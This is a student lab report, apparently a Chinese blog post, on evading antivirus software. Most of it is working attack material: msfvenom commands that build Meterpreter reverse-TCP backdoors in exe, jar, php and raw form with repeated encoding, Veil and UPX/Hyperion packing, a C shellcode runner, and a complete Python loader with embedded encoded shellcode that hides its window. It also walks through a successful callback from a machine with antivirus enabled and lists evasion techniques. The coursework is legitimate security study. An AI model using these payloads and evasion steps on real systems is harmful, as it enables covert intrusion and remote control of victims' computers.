• 20181225周凌霄网络对抗实验三


    exp3——免杀原理

    一、实践目标

    1、正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

    2、学会veil,加壳工具

    3、学会使用C + shellcode编程

    4、通过组合应用各种技术实现恶意代码免杀

    附加:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    二、实验过程

    A.使用msfvenom生成如jar之类的其他文件

    Ⅰ、多次编码生成exe文件

    1、检测实验2中生成的后门程序

    https://www.virscan.org/

    扫描结果危险

    2、编码一次

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -b ‘x00’

    LHOST=192.168.31.228 LPORT=11225 -f exe > shell1.exe

    3、编码十次

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -i -10 -b ‘x00’

    LHOST=192.168.31.228 LPORT=11225 -f exe > shell10.exe

    再次扫描文件

    -e选择编码器,-b是payload中需要去除的字符,该命令中为了使'x00'不出现在shellcode

    中,因为shellcode以'x00'为结束符,-i设置迭代次数

    Ⅱ、生成jar文件

    msfvenom -p java/shell_reverse_tcp LHOST=192.168.31.228 LPORT=11225 -f jar >

    shell.jar

    检测结果

    Ⅲ、生成php文件

    msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.31.228 LPORT=11225 x>

    shell.php

    检测结果

    B、使用veil,加壳工具

    Ⅰ、veil

    1、下载

    sudo apt-get install veil-evasion

    下载成功后

    cd /usr/share/veil/config

    vim setup.sh

    将250行左右的内容修改为 sudo git clone https://gitee.com/spears/VeilDependencies.git

    修改成功后

    veil

    等待安装

    经过一系列的过程——安装成功!

    2、使用

    veil

    use evasion

    use c/meterpreter/rev_tcp.py

    set LHOST 192.168.56.101

    set LPORT 11204

    generate

    设置成功!

    检测结果

    Ⅱ、加壳

    upx 1225.exe -o shell10_upx.exe

    检测结果

    C、使用c+ shellcode编程

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=11204 -f

    c

    int main()

    {

    int (*func)() = (int(*)())buf;

    func();

    }

    i686-w64-mingw32-g++shell_c.c-oshell_c.exe

    检测结果

    D、通过组合应用各种技术实现恶意代码免杀

    Ⅰ、c+shellcode+Hyperion

    wget

    https://github.com/nullsecuritynet/tools/raw/master/binary/hyperion/release/Hype

    rion-2.2.zip

    下载Hyperion2.2

    unzip Hyperion-2.2.zip

    修改第一行内容为i686-w64-mingw32-gcc

    make

    加壳

    wine hyperion.exe -v shell_c.exe shell_c_hyperion.exe

    检测结果

    Ⅱ、python+shellcode

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=11204 -e

    x86/shikata_ga_nai -f py > shell.py

    生成shell.py

    修改如下

    from ctypes import *
    
    import ctypes
    
    buf =  ""
    
    buf += "xbbx7ax62x0ax22xdbxc9xd9x74x24xf4x58x29"
    
    buf += "xc9xb1x97x31x58x15x03x58x15x83xe8xfcxe2"
    
    buf += "x8fxdcx50xbcx22x5dxbfx0cx65xe9x1bx79xcd"
    
    buf += "x39xadx30x7cx0cx5dx21xfdx87x61x46x2bxc8"
    
    buf += "x35xc0x38x81xbfxd5xb9xd7x14x0cxcbx00x79"
    
    buf += "x12x5dxd0xb1xeexfex06x1dx51x8ax92x29xd2"
    
    buf += "xa4x4cxd0x08x22xdcx4fx24xb2x2bx2bxdax00"
    
    buf += "x5fxa3x1dx01xfexe9xf2x62xebxa7x46x63xce"
    
    buf += "xacx45xe4x8bxa1xa3x85x14xe1x1ex06xa7x6e"
    
    buf += "x7ax03xe7x05xd2x41x32x24x3cx48x72xf2x57"
    
    buf += "x0fx58x58x5cxf6xd5x0fx5bx6bxcax34xddx5d"
    
    buf += "xe0x62x5axc2xdex3dxdcxb3xf0x3ex78x31x90"
    
    buf += "x6cx5fx58xeex84xb0x30x87x60xecx58x25xad"
    
    buf += "x4ax6bxc6xb7xd8x70xb8x2fxc8xd9xcfxecx10"
    
    buf += "xcbx67x90xf2xdfxf2x4axf3x23xf6xd1x12xa5"
    
    buf += "xfbx10xa9x56x4exd0xdcx10x21x1dxb5x58x17"
    
    buf += "xe1x6dx69x74xc7xacx58x1axc9xf7x00xf8x54"
    
    buf += "x76x05x6dxd4x9ex9cx22xdbx0fxa9xfaxe3x8b"
    
    buf += "x8ex1ax1fx60xdbxbexefx2fx73xa5x42x02x93"
    
    buf += "x89x0fx42xfaxaexb9x9bxecxe2x53x56x38x51"
    
    buf += "x45x6fxb8xd2xffx3ax73x44xe4x38x38xf2x28"
    
    buf += "x76xf0xcax34x80x35x55x83xadx29x23x8axca"
    
    buf += "x07xcfx88x30x15x2exc0x99x1exddxb6xbbx49"
    
    buf += "x92x1ex9axddxcfx58xe9x84x66x3dx38xfcx28"
    
    buf += "x99xa4x19x09xe6x1cxf5xadx4fxa1x81xbfx51"
    
    buf += "x3dx0bx9ex27x60x20x7dx59x6ex82x7cx25x5c"
    
    buf += "x4ex34x25xedxc3xb1x45x02x92x75xf5x11xa5"
    
    buf += "x54xdcx1bx6fx9bx56xd2xb5x80x66xcfxe1x61"
    
    buf += "xd1x01xe4x31x52xd9x5bx01x37x29xa8xefxc8"
    
    buf += "x53x9bx1cx47x30x9exe4x6axdaxb3xd5xfdxf5"
    
    buf += "xb8x13xbcx92xbbxb4x82x70x02xadxefx3bx70"
    
    buf += "xf4x98x84x31x52x97x60x2bx2ex84x9bx7fxb7"
    
    buf += "x30x85x58xefx8cx95xa0x56x2fxefx20x61x0d"
    
    buf += "x94x66xbfxa7xd0x71x56x52x82xb1xa0x19xe4"
    
    buf += "x7exd9x90x96x2bx16xeax4cxdexcdx05x23x6e"
    
    buf += "xc2x4bxc0x68x1bxbaxc1x1dxcax26x74xd1x92"
    
    buf += "x4exd3x70x8ax43x41xbex59xf1x20x33x89xb9"
    
    buf += "x2bxdbx9ax0fxadx8dx80x4cx78x52xe7x0axf7"
    
    buf += "x47xd8x5cx0cx3cxd4x0dx3dxe7xbdx2dx22xb1"
    
    buf += "x37x0axd9x5exf2xd5xd2x56xe0x56x1cx42xc3"
    
    buf += "x75x92x55x7cx86x6axb4xcdx3axcex4dxeax4f"
    
    buf += "xa4x31xc6xe0x16x27xa5xf4x9dx79x5exfcx60"
    
    buf += "xebxefx35x33x6ex5bx6dxecx8fx9bx1exb1xf6"
    
    buf += "x35xebx1fx3bxabx99x9ax34x2axf8x25x38xba"
    
    buf += "x40xe9xb0x51xbcxdfx60x16x62xc3x63x64xbd"
    
    buf += "xb5x28xf6x4cx71xd2x01x74x11xf0xd7xcdx4f"
    
    buf += "x34xadxc2x65x4cxebx78xc1xbfxbax80x6cx46"
    
    buf += "x6ax15x15x03x5ex8dx65x8ex69x89x29x7fx67"
    
    buf += "xeaxc1x6bx62xb0xd4"
    
     
    
    #libc = CDLL('libc.so.6')
    
    PROT_READ = 1
    
    PROT_WRITE = 2
    
    PROT_EXEC = 4
    
    def executable_code(buffer):
    
        buf = c_char_p(buffer)
    
        size = len(buffer)
    
        addr = libc.valloc(size)
    
        addr = c_void_p(addr)
    
        if 0 == addr: 
    
            raise Exception("Failed to allocate memory")
    
        memmove(addr, buf, size)
    
        if 0 != libc.mprotect(addr, len(buffer), PROT_READ | PROT_WRITE | PROT_EXEC):
    
            raise Exception("Failed to set protection on buffer")
    
        return addr
    
    VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc
    
    VirtualProtect = ctypes.windll.kernel32.VirtualProtect
    
    shellcode = bytearray(buf)
    
    whnd = ctypes.windll.kernel32.GetConsoleWindow()   
    
    if whnd != 0:
    
           if 666==666:
    
                  ctypes.windll.user32.ShowWindow(whnd, 0)   
    
                  ctypes.windll.kernel32.CloseHandle(whnd)
    
    print ".................................."*666
    
    memorywithshell = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
    
                                              ctypes.c_int(len(shellcode)),
    
                                              ctypes.c_int(0x3000),
    
                                              ctypes.c_int(0x40))
    
    buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
    
    old = ctypes.c_long(1)
    
    VirtualProtect(memorywithshell, ctypes.c_int(len(shellcode)),0x40,ctypes.byref(old))
    
    ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(memorywithshell),
    
                                         buf,
    
                                         ctypes.c_int(len(shellcode)))
    
    shell = cast(memorywithshell, CFUNCTYPE(c_void_p))
    
    print "Code By Luan"
    
    shell()
    

    在windowsx86上安装支持python的环境,下载pywin32 解压运行,一直点下一步就可以了

    然后下载支持将python生成exe的软件pyinstall ,解压然后执行以下命令:

    D:mianshapyinstaller-2.0>python PyInstaller.py --console --onefile  shell_p_zlx.py
    

    E、用另一电脑实测,在杀软开启的情况下,可运行并回连成功

    1、这里首先要将另 fangs一台电脑和虚拟机ping通,我们可以把网络模式改为桥接方式然后获得我们的ip地址

    2、用Msfvenom生成raw格式的shellcode

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b 'x00' lhost=192.168.31.228 lport=1225 -f raw -o zlx1225.raw

    image-20210406162522710

    3、msfconsole开始监听

    代码同实验二

    4、在shellcode_launcher-master文件打开cmd,运行指令shellcode_launcher.exe -i zlx1225.raw

    shellcode_launcher.exe -i zlx1225.raw

    三、基础问题回答

    (1)杀软是如何检测出恶意代码的?

    1.基于特征码的检测

    在扫描程序工作后根据特征文件中的特征字符串,进行与待检测文件的扫描匹配,是检测已

    知恶意代码的最主要方法。

    2.启发式恶意软件检测

    根据片面特征去推断(看起来像),通常缺乏精确判断依据不需要及时更新,具有通用型;

    但实时监控系统行为开销稍大,没有基于特征码的精确度高。

    3.基于行为的恶意软件检测

    基于行为的检测相当于启发式的一种,或者是加入了行为监控的启发式让软件运行,记录其

    行为并分析(杀软的工作原理)。

    4.完整性检测

    通过hash值来判断文件是否被篡改。

    5.云查杀技术

    采用引擎加云上特征库的方式,用最小的资源来对病毒进行查杀。

    6.基于人工智能的检测技术

    利用数据挖掘等人工智能算法,区分恶意代码与正常代码的行为特征,并形成特征知识库,

    新的未知代码经过系统评判和学习后,通过分类器的进一步操作将其划入某一个分类。

    (2)免杀是做什么?

    免杀就是通过修改PE文件的代码或结构来达到躲避杀毒软件查杀的目的。 简单的说:杀毒软件的原理是匹配特征码,而免杀的目的就是要修改这些特征码。

    (3)免杀的基本方法有哪些?

    【—.入口点加1免杀法:】
    1.用到工具PEditor
    2特点:非常简单实用,但有时还会被卡巴查杀]
    3.操作要点:用PEditor打开无壳木马程序,把原入口点加1即可
    【二.变化入口地址免杀法:】
    1.用到工具:OllyDbg,PEditor
    2特点:操作也比较容易,而且免杀效果比入口点加1点要佳.
    3.操作要点:用OD载入无壳的木马程序,把入口点的前二句移到零区域去执行,然后又跳回到入口点的下面第三句继续执行.最后用PEditor把入口点改成零区域的地址
    【三.加花指令法免杀法:】
    1.用到工具:OllyDbg,PEditor
    2.特点:免杀通用性非常好,加了花指令后,就基本达到大量杀毒软件的免杀.3.操作要点:用OD打开无壳的木马程序,找到零区域,把我们准备好的花指令填进去
    填好后又跳回到入口点,保存好后,再用PEditor把入口点改成零区域处填入花指令的着地址.

    【四.加壳或加伪装壳免杀法:】
    1.用到工具:一些冷门壳,或加伪装壳的工具,比如木马彩衣等.
    ⒉.特点:操作简单化,但免杀的时间不长,可能很快被杀,也很难躲过卡巴的追杀
    3.操作要点:为了达到更好的免杀效果可采用多重加壳,或加了壳后在加伪装壳的免杀效果更
    【五.打乱壳的头文件或壳中加花免杀法:)】
    1.用到工具:秘密行动,UPX加壳工具.
    2特点:操作也是傻瓜化,免杀效果也正当不错,特别对卡巴的免杀效果非常好
    3.操作要点:首先一定要把没加过壳的木马程序用UPX加层壳,然后用秘密行动这款工具中的SCramble功能进行把UPX壳的头文件打乱,从而达到免杀效果.
    【六.修改文件特征码免杀法:】
    1.用到工具:特征码定位器,OllyDbg
    ⒉特点:操作较复杂,要定位修改一系列过程,而且只针对每种杀毒软件的免杀,要达到多种杀毒软件的免杀,必需修改各种杀毒软件的特征码.但免杀效果好

    四、实验体会和心得

    通过这次免杀测试,我学会使用了veil工具,和加壳工具,我深刻体会到杀毒软件例如windows defender还是有很大作用的,能减少主机被植入恶意程序和后门,也对后门植入的防范和方法有了更深的理解,植入后门会让我们的电脑收到很多威胁。

  • 相关阅读:
    【模板】并查集
    P1063能量项链
    多维动归第一题
    7.14测试
    7.12测试
    7.10测试
    几种display:table-cell的应用
    instanceof和typeof的区别
    右侧悬浮广告
    JavaScript判断浏览器类型及版本
  • 原文地址:https://www.cnblogs.com/20181225zlx/p/14608722.html
Copyright © 2020-2023  润新知